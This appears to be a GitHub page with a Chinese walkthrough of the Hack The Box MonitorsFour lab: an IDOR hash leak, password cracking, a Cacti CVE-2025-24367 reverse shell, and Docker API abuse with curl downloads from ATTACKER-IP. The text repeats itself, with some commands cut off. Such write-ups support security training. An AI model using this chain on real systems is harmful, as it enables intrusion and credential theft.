Kush7007647/MonitorsFour-Write-UP
GitHub: Kush7007647/MonitorsFour-Write-UP
该仓库记录了 Hack The Box MonitorsFour 靶机的中文渗透测试 Walkthrough,演示如何将 IDOR、Cacti RCE 和 Docker API 暴露等多个漏洞串联实现完整系统攻陷。
Stars: 0 | Forks: 0
# MonitorFour-Write-UP : Hack The Box
# 描述
# 概述
MonitorsFour 是 Hack The Box 上的一台 Easy 难度的 Windows 机器,主要侧重于:
Web 枚举
IDOR 漏洞利用
凭据收集
Cacti 漏洞利用
Docker 容器逃逸
权限提升
这台机器展示了如何将多个小漏洞利用链连接起来,从而实现完整的系统攻陷。
USER.TXT
# 侦察
端口扫描
我们首先通过执行全端口扫描来进行经典的侦察。此处的目标是识别暴露的服务,并在进一步与目标交互之前了解攻击面。
• 枚举:使用 nmap 扫描端口
```
CMD : nmap -sS
```
Http - 80
WinRM - 5985
浏览网页:但无法打开,因为它解析到 = monitorsfour.htb
端口 80 托管了位于 Nginx 之后的 Web 应用程序,而端口 5985 暴露了 WinRM,这表明后端系统是 Windows。PHPSESSID cookie 的存在也表明该站点正在使用 PHP 会话。
我们可以在 /etc/hosts 文件中设置 IP 和域名。
再次浏览 Http Web 页面:在这个 Web 页面中找到了登录页面
由于主网站看起来大多是静态的,下一步是搜索隐藏的子域名,因为内部面板和监控应用程序通常单独托管。
识别子域名:使用工具 = FFUF
```
CMD : ffuf -u http://monitorsfour.htb -H 'Host: FUZZ.monitorsfour.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -fs 138
```
子域名:cacti
这揭示了 cacti.monitorsfour.htb,它正在运行 Cacti,这是一个网络监控平台,以存在多个历史漏洞而闻名,包括身份验证绕过和 RCE 问题。
• 浏览此子域名并将其添加到 /etc/hosts 文件中:
找到了这个登录页面以及该登录页面的版本
版本:1.2.28
这证实了目标正在运行 Cacti 1.2.28 版本,这有助于识别已知的漏洞并将公开的漏洞利用程序与正确的版本进行匹配。
目录爆破:使用工具 = Gobuster
```
CMD : gobuster dir -u http://monitorsfour.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
```
在 = monitorsfour.htb URL 上查看这些页面
扫描发现了一个名为 /user 的 endpoint。
使用不同的 token 值测试该 endpoint,揭示了不安全的访问控制行为。当请求使用 token=0 时,应用程序返回了所有用户记录,而不是正确地限制访问。
响应中包含用户名和 MD5 密码哈希,表明后端未能正确验证 token。
这种行为是 IDOR 漏洞的特征,修改用户可控的参数允许访问未经授权的数据。
请求将 token=0 发送到 /user endpoint。
• 检查 User 页面:
缺少参数错误
尝试添加 Token 参数
/user?token=0
找到了用户凭据 - 姓名、ID、HASH、电子邮件、角色等详细信息
分析超级用户角色:复制密码哈希
• 在某些网站上破解密码:crack station、Hashes.com
p
assword 破解
泄漏的 MD5 哈希通过 CrackStation 进行了检查,这是一个包含预计算密码哈希的在线哈希查询数据库。
管理员哈希:
56b32eb43e6f15395f6c46c1c9e1cd36
成功破解为:
wonderful1
Hashes.com
用户名 = Admin
密码 = Wonderful1
• 使用 monitorsfour.htb/login 页面登录:
登录成功
使用 cacti.monitorsfour.htb/cacti 登录:
用户名:marcus
密码:wonderful1
登录成功
• 在浏览器上查找版本漏洞利用:
版本:1.2.28
初始访问
在获得 CACTI 面板的访问权限后,除了 cacti 面板的版本之外,似乎没有什么更有趣的东西了,我们可以尝试使用这个 CVE-2025–24367 来获取 RCE
CVE-2025–24367 是 Cacti 中的一个严重安全漏洞,Cacti 是一个流行的开源网络监控和性能图表框架。其 CVSS 评分为 8.7,被归类为身份验证后远程代码执行 (RCE) 漏洞。
漏洞是如何运作的?
该漏洞存在于 Cacti 的 RRDTool 图表模板功能中,系统在该功能中解析用户提供的数据以作为 RRD 命令参数(如 --right-axis-label)。
根本原因:虽然 Cacti 尝试清理用户输入并转义 shell 元字符,但它未能正确处理换行符 (\( \backslash n \))。
漏洞利用:经过身份验证的攻击者可以在输入参数中注入换行符,从而跳出预期的命令上下文。这种参数注入允许攻击者执行额外的 RRDTool 命令,并将任意的恶意 PHP 代码直接写入应用程序的 web root。
影响:一旦恶意 PHP 脚本在 web root 中成功创建,攻击者只需通过 Web 浏览器或 HTTP 请求访问它,即可在 web 服务器的权限下执行任意系统命令。
受影响版本
此漏洞影响 Cacti 1.2.28 及之前的版本。
在找到 Cacti 面板的有效凭据后,我克隆了一个针对 CVE-2025–24367 的公开 PoC,并准备了一个监听器来接收反弹 shell。
我们找到了这个漏洞利用程序 - Cybergeek
- CVE-2025-24367
- 下载代码 - Exploit.py
- 使其可执行
- 使用此命令运行:
攻击者
```
CMD : python3 exploit.py -u marcus -p wonderful1 -i -l 1234 -url http://cacti.monitorsfour.htb
```
- 在执行此命令之前,在 Netcat 上开始监听
攻击者
CMD : nc -nlvp 1234
访问成功:获取 User.txt
USER.TXT---------------------------------------------------------------FLAG{}-----------------------------------------------
# ROOT.TXT
在 Cacti 容器内获取 shell 之后,我首先验证了环境,以了解我当前的运行位置。
• 开始权限提升:
[这是一台 Windows 机器,但获取的是 Linux 机器的访问权限]
• 检查它是否是 Docker 容器:
是的 - 机器上有 .docker 文件 - 它是一个容器
• 检查这台机器的内核版本:
```
CMD : uname -a
```
版本 - 6.6.87.2
主机名看起来像一个容器 ID,这强烈暗示我们在 Docker 内部。检查网络配置证实了这一点:
• 检查 IP :
```
CMD : ip a
```
这是一个容器 IP
• 将 Nmap 二进制文件传输到这台机器中:放在 /var/www/html
二进制文件 URL:下载
攻击者
```
CMD : python3 -m http.server 80
```
受害者
```
CMD : curl http://ATTACKER-IP/nmap -o nmap
```
使其可执行
```
CMD : ./nmap -sn -PS 172.18.0.0
```
3 台主机存活
• 将 Fscan 二进制文件传输到这台机器中:放在 var/www/html
二进制文件 URL:下载
```
ATTACKER
CMD : python3 -m http.server 80
Victim
CMD : curl http://ATTACKER-IP/fscan -o fscan
```
使其可执行
```
CMD : ./fscan -h 172.18.0.1 -p 1-65535
```
• 扫描此网络中的所有设备:使用此技巧
网站 = 这里
用于 API 的 Docker 主机域名 = Host.docker.internal
使用 curl 命令尝试端口 2375
```
CMD : curl -v http://host.docker.internal:2375/version
```
这解析为了另一个 IP,该 IP 解析在此网络 IP 范围内
• 在此子网内扫描 - 192.168.65.0/24
```
CMD : ./nmap -sn 192.168.65.0/24
```
```
These Four IP resolve
192.168.65.3
192.168.65.6
192.168.65.7
192.168.65.129
```
• 在这些 IP 中检查 2375 端口:使用此 fscan
```
CMD : ./fscan -h 192.168.65.7 -p 2375
```
该 IP 上的端口是开放的
• 检查版本:使用 CURL 命令
```
CMD : curl http://192.168.65.7:2375/version
```
Docker Engine 版本:28.3.2
• 在浏览器上搜索此版本的漏洞:
漏洞:CVE-2025-9074 (POC)
按照 PoC 步骤进行利用
注意:此技术的作用 = 将 Windows 机器的文件系统链接到 Linux 机器容器。
1. 创建 PoC 文件,因为:受害者机器没有 PYTHON 权限
攻击者
```
CMD : nano container.json
```
使用此命令读取 Root.txt:
{ 您可以自定义此代码 }
• 将此文件传输到受害者机器:
攻击者
```
CMD : python3 -m http.server
```
受害者
```
CMD : curl http://ATTACKER-IP/container.json -o container.json
```
• 请求容器,我有一个要运行的 json 文件
```
CMD : curl -X POST -H "Content-Type: application/json" -d @/var/www/html/container.json http://192.168.65.7:2375/containers/create?name=pwned
```
Docker 将 Windows 文件系统连接到 Kali Linux 容器
• 开始执行此操作:
```
CMD : curl -X POST http://192.168.65.7:2375/containers/7d99df11ee0f/start
```
ID 使用唯一的,全名随您喜欢
• 检查日志:
```
CMD : curl http://192.168.65.7:2375/containers/7d99df11ee0f/logs?stdout=true
```
The exposed Docker API allowed full interaction with the Docker daemon, leading directly to host filesystem access and complete compromise of the machine.
访问 ROOT.TXT 内容
ROOT.TXT-------------------------------------------------------------------------FLAG{}-------------------------------------
恭喜,我猜你已经成功 root 了这台机器!
拜拜!
# 描述
# 概述
MonitorsFour 是 Hack The Box 上的一台 Easy 难度的 Windows 机器,主要侧重于:
Web 枚举
IDOR 漏洞利用
凭据收集
Cacti 漏洞利用
Docker 容器逃逸
权限提升
这台机器展示了如何将多个小漏洞利用链连接起来,从而实现完整的系统攻陷。
USER.TXT
# 侦察
端口扫描
我们首先通过执行全端口扫描来进行经典的侦察。此处的目标是识别暴露的服务,并在进一步与目标交互之前了解攻击面。
• 枚举:使用 nmap 扫描端口
```
CMD : nmap -sS
Http - 80
WinRM - 5985
浏览网页:但无法打开,因为它解析到 = monitorsfour.htb
端口 80 托管了位于 Nginx 之后的 Web 应用程序,而端口 5985 暴露了 WinRM,这表明后端系统是 Windows。PHPSESSID cookie 的存在也表明该站点正在使用 PHP 会话。
我们可以在 /etc/hosts 文件中设置 IP 和域名。
再次浏览 Http Web 页面:在这个 Web 页面中找到了登录页面
由于主网站看起来大多是静态的,下一步是搜索隐藏的子域名,因为内部面板和监控应用程序通常单独托管。
识别子域名:使用工具 = FFUF
```
CMD : ffuf -u http://monitorsfour.htb -H 'Host: FUZZ.monitorsfour.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -fs 138
```
子域名:cacti
这揭示了 cacti.monitorsfour.htb,它正在运行 Cacti,这是一个网络监控平台,以存在多个历史漏洞而闻名,包括身份验证绕过和 RCE 问题。
• 浏览此子域名并将其添加到 /etc/hosts 文件中:
找到了这个登录页面以及该登录页面的版本
版本:1.2.28
这证实了目标正在运行 Cacti 1.2.28 版本,这有助于识别已知的漏洞并将公开的漏洞利用程序与正确的版本进行匹配。
目录爆破:使用工具 = Gobuster
```
CMD : gobuster dir -u http://monitorsfour.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
```
在 = monitorsfour.htb URL 上查看这些页面
扫描发现了一个名为 /user 的 endpoint。
使用不同的 token 值测试该 endpoint,揭示了不安全的访问控制行为。当请求使用 token=0 时,应用程序返回了所有用户记录,而不是正确地限制访问。
响应中包含用户名和 MD5 密码哈希,表明后端未能正确验证 token。
这种行为是 IDOR 漏洞的特征,修改用户可控的参数允许访问未经授权的数据。
请求将 token=0 发送到 /user endpoint。
• 检查 User 页面:
缺少参数错误
尝试添加 Token 参数
/user?token=0
找到了用户凭据 - 姓名、ID、HASH、电子邮件、角色等详细信息
分析超级用户角色:复制密码哈希
• 在某些网站上破解密码:crack station、Hashes.com
p
assword 破解
泄漏的 MD5 哈希通过 CrackStation 进行了检查,这是一个包含预计算密码哈希的在线哈希查询数据库。
管理员哈希:
56b32eb43e6f15395f6c46c1c9e1cd36
成功破解为:
wonderful1
Hashes.com
用户名 = Admin
密码 = Wonderful1
• 使用 monitorsfour.htb/login 页面登录:
登录成功
使用 cacti.monitorsfour.htb/cacti 登录:
用户名:marcus
密码:wonderful1
登录成功
• 在浏览器上查找版本漏洞利用:
版本:1.2.28
初始访问
在获得 CACTI 面板的访问权限后,除了 cacti 面板的版本之外,似乎没有什么更有趣的东西了,我们可以尝试使用这个 CVE-2025–24367 来获取 RCE
CVE-2025–24367 是 Cacti 中的一个严重安全漏洞,Cacti 是一个流行的开源网络监控和性能图表框架。其 CVSS 评分为 8.7,被归类为身份验证后远程代码执行 (RCE) 漏洞。
漏洞是如何运作的?
该漏洞存在于 Cacti 的 RRDTool 图表模板功能中,系统在该功能中解析用户提供的数据以作为 RRD 命令参数(如 --right-axis-label)。
根本原因:虽然 Cacti 尝试清理用户输入并转义 shell 元字符,但它未能正确处理换行符 (\( \backslash n \))。
漏洞利用:经过身份验证的攻击者可以在输入参数中注入换行符,从而跳出预期的命令上下文。这种参数注入允许攻击者执行额外的 RRDTool 命令,并将任意的恶意 PHP 代码直接写入应用程序的 web root。
影响:一旦恶意 PHP 脚本在 web root 中成功创建,攻击者只需通过 Web 浏览器或 HTTP 请求访问它,即可在 web 服务器的权限下执行任意系统命令。
受影响版本
此漏洞影响 Cacti 1.2.28 及之前的版本。
在找到 Cacti 面板的有效凭据后,我克隆了一个针对 CVE-2025–24367 的公开 PoC,并准备了一个监听器来接收反弹 shell。
我们找到了这个漏洞利用程序 - Cybergeek
- CVE-2025-24367
- 下载代码 - Exploit.py
- 使其可执行
- 使用此命令运行:
攻击者
```
CMD : python3 exploit.py -u marcus -p wonderful1 -i
访问成功:获取 User.txt
USER.TXT---------------------------------------------------------------FLAG{}-----------------------------------------------
# ROOT.TXT
在 Cacti 容器内获取 shell 之后,我首先验证了环境,以了解我当前的运行位置。
• 开始权限提升:
[这是一台 Windows 机器,但获取的是 Linux 机器的访问权限]
• 检查它是否是 Docker 容器:
是的 - 机器上有 .docker 文件 - 它是一个容器
• 检查这台机器的内核版本:
```
CMD : uname -a
```
版本 - 6.6.87.2
主机名看起来像一个容器 ID,这强烈暗示我们在 Docker 内部。检查网络配置证实了这一点:
• 检查 IP :
```
CMD : ip a
```
这是一个容器 IP
• 将 Nmap 二进制文件传输到这台机器中:放在 /var/www/html
二进制文件 URL:下载
攻击者
```
CMD : python3 -m http.server 80
```
受害者
```
CMD : curl http://ATTACKER-IP/nmap -o nmap
```
使其可执行
```
CMD : ./nmap -sn -PS 172.18.0.0
```
3 台主机存活
• 将 Fscan 二进制文件传输到这台机器中:放在 var/www/html
二进制文件 URL:下载
```
ATTACKER
CMD : python3 -m http.server 80
Victim
CMD : curl http://ATTACKER-IP/fscan -o fscan
```
使其可执行
```
CMD : ./fscan -h 172.18.0.1 -p 1-65535
```
• 扫描此网络中的所有设备:使用此技巧
网站 = 这里
用于 API 的 Docker 主机域名 = Host.docker.internal
使用 curl 命令尝试端口 2375
```
CMD : curl -v http://host.docker.internal:2375/version
```
这解析为了另一个 IP,该 IP 解析在此网络 IP 范围内
• 在此子网内扫描 - 192.168.65.0/24
```
CMD : ./nmap -sn 192.168.65.0/24
```
```
These Four IP resolve
192.168.65.3
192.168.65.6
192.168.65.7
192.168.65.129
```
• 在这些 IP 中检查 2375 端口:使用此 fscan
```
CMD : ./fscan -h 192.168.65.7 -p 2375
```
该 IP 上的端口是开放的
• 检查版本:使用 CURL 命令
```
CMD : curl http://192.168.65.7:2375/version
```
Docker Engine 版本:28.3.2
• 在浏览器上搜索此版本的漏洞:
漏洞:CVE-2025-9074 (POC)
按照 PoC 步骤进行利用
注意:此技术的作用 = 将 Windows 机器的文件系统链接到 Linux 机器容器。
1. 创建 PoC 文件,因为:受害者机器没有 PYTHON 权限
攻击者
```
CMD : nano container.json
```
使用此命令读取 Root.txt:
{ 您可以自定义此代码 }
• 将此文件传输到受害者机器:
攻击者
```
CMD : python3 -m http.server
```
受害者
```
CMD : curl http://ATTACKER-IP/container.json -o container.json
```
• 请求容器,我有一个要运行的 json 文件
```
CMD : curl -X POST -H "Content-Type: application/json" -d @/var/www/html/container.json http://192.168.65.7:2375/containers/create?name=pwned
```
Docker 将 Windows 文件系统连接到 Kali Linux 容器
• 开始执行此操作:
```
CMD : curl -X POST http://192.168.65.7:2375/containers/7d99df11ee0f/start
```
ID 使用唯一的,全名随您喜欢
• 检查日志:
```
CMD : curl http://192.168.65.7:2375/containers/7d99df11ee0f/logs?stdout=true
```
The exposed Docker API allowed full interaction with the Docker daemon, leading directly to host filesystem access and complete compromise of the machine.
访问 ROOT.TXT 内容
ROOT.TXT-------------------------------------------------------------------------FLAG{}-------------------------------------
恭喜,我猜你已经成功 root 了这台机器!
拜拜!标签:CTI, MISP, OPA, StruQ, Web报告查看器, 协议分析, 安全实验, 权限提升, 请求拦截, 逆向工具, 靶场